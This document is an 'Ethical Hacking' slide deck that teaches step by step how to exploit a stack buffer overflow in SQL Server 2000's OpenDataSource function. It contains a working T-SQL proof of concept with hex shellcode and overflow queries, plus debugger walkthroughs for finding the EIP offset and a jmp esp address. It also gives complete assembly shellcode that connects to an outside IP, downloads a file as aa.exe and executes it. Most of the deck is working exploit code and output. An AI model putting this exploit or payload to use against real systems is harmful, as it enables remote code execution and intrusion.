Ethical Hacking

Windows Based Buffer Overflow Exploit Writing

Buffer Overflow

- Computer programs usually allocate certain amount of space to store data during execution. This space is known as buffer
- A buffer overflow occurs when the amount of data is larger than the allocated buffer
- When that happened, the data will overwrite memory area that followed the buffer

Stack overflow

- Function calls in C program usually pass parameter via stack
- A caller program will store parameters into stack before calling a function
- The function will then locate the parameters from the stack
- Stack also will contain return address so that the function can jump back to the caller program
- If we can submit data more than previously allocated space, we can overflow the dedicated space and if we can overwrite the stack

Writing Windows Based Exploits

- What you will need?
  - Windbg.exe
  - Borland TASM
  - Hex Editor
  - Visual Studio C Compiler
  - Windows 2000 Server
  - SQL Server 2000 (To Exploit the vulnerability)

Exploiting stack based buffer overflow

- Mark Litchfield published a buffer overflow in OpenDataSource() with Jet database engine in SQL Server 2000
- We are going to exploit this vulnerability

OpenDataSource Buffer Overflow Vulnerability Details

- Microsoft's database server SQL Server 2000 has a remotely exploitable buffer overrun vulnerability in the OpenDataSource function when combined with the MS Jet Engine
- By making a specially crafted SQL query using the OpenDataSource function it is possible to overflow a buffer in the SQL Server process, gaining control of its execution remotely

Simple Proof of Concept

- This Transact SQL Script will create a file called **"SQL-ODSJET-BO"** on the root of the C: drive on Windows 2000 SP 2 machines
- This code demonstrates how to exploit a UNICODE overflow using T-SQL Calls CreateFile() creating a file called **`c:\SQL-ODSJET-BO`**
- The return address is overwritten with **`0x42B0C9DC`**
- This is in **`sqlsort.dll`** and is consistent between SQL 2000 SP1 and SP2
- The address holds a jmp esp instruction

The Code

```
declare @exploit nvarchar(4000)

declare @padding nvarchar(2000)

declare @saved_return_address nvarchar(20)

declare @code nvarchar(1000)

declare @pad nvarchar(16)

declare @cnt int

declare @more_pad nvarchar(100)


select @cnt = 0

select @padding = 0x41414141

select @pad = 0x4141


while @cnt < 1063

begin

        select @padding = @padding + @pad

        select @cnt = @cnt + 1

end
```

Code Continued

```
-- overwrite the saved return address


select @saved_return_address = 0xDCC9B042

select @more_pad = 0x43434343444444444545454546464647474747


-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K Sp2

-- change if running a different service pack


select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0C05052B8876FE877FFD0CCCCCCCCCC

select @exploit = N'SELECT * FROM OpenDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'

select @exploit = @exploit + @padding + @saved_return_address + @more_pad + @code

select @exploit = @exploit + N'";User ID=Admin;Password=;Extended properties=Excel 5.0'')...xactions'

exec (@exploit)
```

Windbg.exe

- Launch WinDbg.exe and attach sqlservr.exe process
- You will need to debug SQL Server by pressing (F5) process in Windbg.exe
- Open up your Query Analyzer and try executing this query about 300 A's

```
SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro
Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA;SourceType=DBC')...xactions;
```

Analysis

- The query should overflow the SourceDB parameter, and it will overwrite several CPU registers as well as the ever important EIP
- Before Query Analyzer can return any result, the WinDbg will intercept
- The instruction should point at 0x41414141, which is an invalid address
- Take a look at register EIP, it is 0x41414141
- We have overwritten EIP with the ASCII code of ‘A’ (0x41)

EIP Register

- EIP is the that register determines the next instruction that the CPU will execute
- Being able to write to EIP means we can control the execution flow of the program
- Somewhere in the 300 A's will overwrite the EIP register
- We need to find the exact location so that we can inject useful address to EIP

Location of EIP

- To get the exact location of the EIP, we can construct a query like the following:

```
SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro
Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAZZZZYYYYXXXXWWWWVVVVUUUUTTTTSSSSRRRRQQQ
QPPPPOOOONNNNMMMMLLLLKKKKJJJJIIIIHHHHGGGGFFFFEEEEDDDDCCC
CBBBBAAAA;SourceType=DBC')...xactions;
```

- You may need to terminate your SQL server, attach to process again using WinDbg
- Run Query Analyzer and connect to your SQL server again

EIP

- This time, your EIP will be 0x47484848. This is equivalent to GHHH
- We need to replace GHHH with a useful memory address, may be memory address that point to our payload
- The payload will execute anything we want
- It also tells us that we need to put our memory address in reverse byte sequence
- Let's construct a query that just enough for us to overwrite EIP
- It will take 269 A's for padding and 4 more bytes that will overwrite the EIP

Execution Flow

- Take a look at WinDbg
- Access Violation is trying to execute code from 0x42424242
- ASCII code of B is equivalent to 0x42, which is the last part of the SourceDB string
- The process flow to 0x42424242 because 'BBBB' have overwritten the EIP register
- By replacing BBBB with a memory address, the process will flow into that memory address
- In other word, we can jump to anywhere we want

```
SELECT *
FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro
Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB;SourceType=DB
C')...xactions;
```

But where can we jump to?

- We are going to jump to our payload. Our payload will execute something useful like spawning a shell for us, creating a file and so on
- It is possible to jump directly to our payload if we know the address of our payload
- To do that, we just need to replace BBBB with our address
- But usually, the address of our payload may not be in a fix location/address all the time

Offset Address

- If we can find a register that point to our buffer or query in this case
- We can then jump to the address store in the register to get to our buffer
- This method is preferred because we can jump to our code/buffer no matter where it is
- Let's find the register
- Take a look at what each register hold during the crash:

```
EDI=0
ESI=EB2288
EBX=FFFFFFFF
EDX=301FCB10
ECX=301FCAC0
EAX=AB
EBP=41414141
EIP=42424242
ESP=301FCC50
```

- We need to find a register that is related to our buffer
- If you type the value of EDX to the Memory window inside WinDbg, you will see that it points to a location above the long e:\AAAA...AAAA buffer
- If we want to jump to EDX, we must be able to put our payload before the e:\AAAA buffer, which is not possible
- Let's take a look at ESP
  - It points to memory location just after the BBBB. This is perfect
  - If we jump to the value hold by ESP, we will jump back to our buffer
  - We will land on the byte immediately after the value we overwrite EIP

The Query

- The structure of our query should look like this:
  - `SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\A…A<EIP><payload>;SourceType=DBC')...xactions;`
- Now that we have found a perfect location for our payload, all we need to do is to jump to that location
- In order to do that, we need to execute something like **"jmp esp"**
- We can overwrite the EIP to point to somewhere in the memory that contain instruction **"jmp esp"**
- When the CPU reaches memory address that contains the instruction, it will jump back to our payload because ESP point to our payload

Finding jmp esp

- We need to overwrite EIP with an address that contain instruction “jmp esp”
- First, let’s find out what this instruction is, in machine code or opcode
- Use debug.exe and type assembly code “jmp esp” and dump the memory to see the actual machine code of the instructions

Debug.exe

- The machine code for “jmp esp” is “FF E4”

```
-a
137A:0100 jmp sp
137A:0102 <enter>
-d 100
137A:0100  FF E4 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137A:0110  00 00 00 00 00 00 00 00-00 00 00 00 34 00 69 13   ............4.i.
137A:0120  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137A:0130  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137A:0140  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137A:0150  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137A:0160  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137A:0170  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
-q
```

listdlls.exe

- This program lists all the DLLs that are currently loaded, including where they are loaded and their version number
- Output from listdlls.exe will show many loaded DLLs and their base memory
- We can use any one of it
- Take note that base memory of system DLL may be different in different OS and Service Pack
- Thus, if we are using offset from DLL, our exploit code will bind to specific OS and service pack
- In this case, we will browse through **msvcrt.dll** to look for **FF E4**
  - **C:\>findhex msvcrt.dll FF E4**
  - **Opcode found at 0x78024e02**
  - **End of msvcrt.dll Memory Reached**

Msvcrt.dll

- We will overwrite EIP with thmsvcrt.dll address, and “jmp esp” will execute. It will jump back to our buffer after EIP
- The very first instruction that we will put into our payload is the **“INT 3”**
- INT 3 (breakpoint) is a special instruction that will course a debugger to suspend the program for debugging
- The hex code for this instruction is **0xCC**

```
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
int eip;
FILE *f;
f= fopen("out.sql" , "wb");
eip = 0x78024e02;
fprintf(f,"%s", "SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft
Visual FoxPro
Driver;SourceDB=e:\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
/* our address to jump to in little endian format */
fprintf(f,"%c%c%c%c", eip&0xff, eip>>8&0xff, eip>>16&0xff, eip>>24&0xff);
fprintf(f, "%s", "\xcc"); /* our breakpoint */
fprintf(f, "%s", ";SourceType=DBC'\)...xactions");
fclose(f);
return 0;
}
```

Out.sql

- Compile the program and run it to generate out.sql
- This is the file we will open in Query Analyzer
- To test this, you must start WinDbg.exe and attach SQL Server process as we did earlier
- When you run out.sql in Query Analyzer, the WinDbg will break but this time, instead of instruction pointing to invalid address, you should see our instruction INT 3 (0xCC)
- It is our breakpoint that suspends the SQL Server
- We have the ability to execute any code now

The payload

- We will replace those A's with real executable payload
- First, we need to construct a few instruction to do the jump
- Open up debug.exe again
- Let's type these instructions and get the opcode

```
C:\>debug
-a
137C:0100 mov bx, sp
137C:0102 sub bx, 111
137C:0106 jmp bx
137C:0108
-d 100
137C:0100  89 E3 81 EB 11 01 FF E3-00 00 00 00 00 00 00 00   ................
137C:0110  00 00 00 00 00 00 00 00-00 00 00 00 34 00 6B 13   ............4.k.
137C:0120  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137C:0130  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137C:0140  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137C:0150  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137C:0160  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
137C:0170  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
-
```

There you have it, the op code is 0x89 0xE3 0x81 0xEB 0x11 0x01 0xFF 0xE3. These instructions will execute in i386 as:

```
mov ebx, esp
sub ebx, 111h
jmp ebx
```

ESP

- ESP still contain the memory address after we overwrite the EIP
- We copy the content of ESP into EBX, subtract 0x111 from it
- The EBX will now point to the beginning of our buffer, the beginning of A
- We will replace all those A's with useful executable code

Limited Space

- We have about 269 bytes to work with. That is not much. So, we want to create a small payload that will connect to an IP, retrieve a file and execute it on the server
- Our little program need to call several Windows APIs to make connection, to write to file, to execute program and so forth
- The usual way of doing this is to call the Windows API by their name, i.e: CreateProcess()
- But due to limited space to work with, we cannot use these
- We will call Windows API directly by their address in the memory
- There is limitation in this method, because these addresses will change between OS or service pack

Getting Windows API/function absolute addre

- Our little payload is going to use several functions like socket(), connect(), etc
- We will go through the process to get socket()'s absolute address
- A quick check indicate that socket() function exported from ws2_32.dll
- We will use dumpbin.exe found in Visual Studio to get show list of exported function from this DLL

```
C:\>dumpbin c:\winnt\system32\ws2_32.dll /exports
```

- Take note of the last line of the output, the export address of the socket function:...

```
236C 00001EF4 socket
```

Memory Address

- If you use listdlls.exe, you will see that the DLL is loaded in the base memory of 0x75030000.

```
C:\>listdlls -d ws2_32.dll

  Base             Size               Version          Path
0x75030000         0x13000            5.00.2195.2780
C:\WINNT\System32\WS2_32.dll
```

- Total up these two values (0x75030000 + 00001EF4), you will get the address to the socket() function, which is 0x75031EF4

Note: The above address may differ for different service packs

Other Addresses

- You may need to do the same for all these functions:
- `socket EQU 75031EF4h`
- `connect EQU 7503C453h`
- `recv EQU 7503A1AEh`
- `closesocket EQU 750313B6h`

- You can find these functions from msvcrt.dll:
- `_open EQU 7801C26Ch`
- `_write EQU 78003670h`
- `_close EQU 78013EC7h`
- `_execl EQU 78018BDFh`

- Using this address we will now build a tiny program to connect to an IP, receive data, save it to a file and finally execute it

```
;tiny shellcode to download n exec code for win2k sp2
.386p
locals
.model flat, stdcall

socketf         EQU     75031EF4h
connectf        EQU     7503C453h
recvf           EQU     7503A1AEh
closesocketf    EQU     750313B6h

_openf          EQU     7801C26Ch
_writef         EQU     80036707h ;78003670h, will ror 4 to avoid NULL
_closef         EQU     78013EC7h
_execlf         EQU     78018BDFh

.code
start:
        pop         ebx  ; esp contain current address
        xor         eax,eax
        inc         eax
        inc         eax
        shl         eax,9
        sub         esp,eax ;get more stack

        lea         esi,[esp+20h]
        xor         eax,eax
        push        eax
        inc         eax
        push        eax
        inc         eax
        push        eax
        mov         eax, socketf
        call        eax  ; call socket()
```

```
mov         edi,eax
xor         eax,eax
inc         eax
inc         eax
mov         word ptr [esi],ax
shl         eax,3
push        eax
push        esi
push        edi
;port and address can be changed in exploit program
mov         word ptr [esi+2], 1141h ;port = 80 xor 0x41
mov         dword ptr [esi+4],6840E981h ; IP = 192.168.1.41 xor 0x41
xor         word ptr [esi+2], 4141h
xor         dword ptr [esi+4],41414141h
mov         eax, connectf
call        eax  ;call connect()

xor         eax,eax
mov         dword ptr [esi],2E61615Ch   ; file = '\aa.exe'
mov         dword ptr [esi+4],41657865h
mov         byte ptr [esi+7],al

mov         ax,0180h
push        eax
mov         ax,8101h
push        eax
push        esi
mov         eax, _openf
call        eax  ; call open()
mov         ebx,eax
```

```
read:
        xor         eax,eax
        push        eax
        inc         eax
        shl         eax,9
        push        eax
        lea         ecx,[esi+8]
        push        ecx
        push        edi
        mov         eax, recvf
        call        eax  ; receive data

        test        eax,eax
        jle         doneread
        push        eax
        lea         ecx,[esi+8]
        push        ecx
        push        ebx
        mov         eax, _writef
        ror         eax, 4
        call        eax  ; write to file
        jmp         read
```

```
doneread:
        push        ebx
        mov         eax, _closef
        call        eax  ;close()
        push        edi
        mov         eax, closesocketf
        call        eax  ;closesocket()
        xor         eax,eax
        push        eax
        push        esi
        push        esi
        mov         eax, _execlf
        call        eax  ; exec the program
        xor         eax,eax ;unreachable
        call        eax  ;cause an exception

end     start
.data
```

Compile the program

- You can compile the program with TASM
  - `C:\>tasm -l down.asm`
- Argument -l will generate listing of the code
- Remember the opcode where the program starts and where it ends. Then you need to use
- a hex editor to open the object file **`down.obj`**, delete everything that is not part of your code
- What is left is only your payload code which is about 190 byte

Final Code

- You should replace this into the query. Now, your final query should look like this:

- **SELECT * FROM OpenDataSource('MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\<payload>A…A<EIP><jmp to payload>;SourceType=DBC')...xactions;**

- WE HAVE SUCCESSFULLY EXPLOITED THE VULNERABILITY

- End of Slides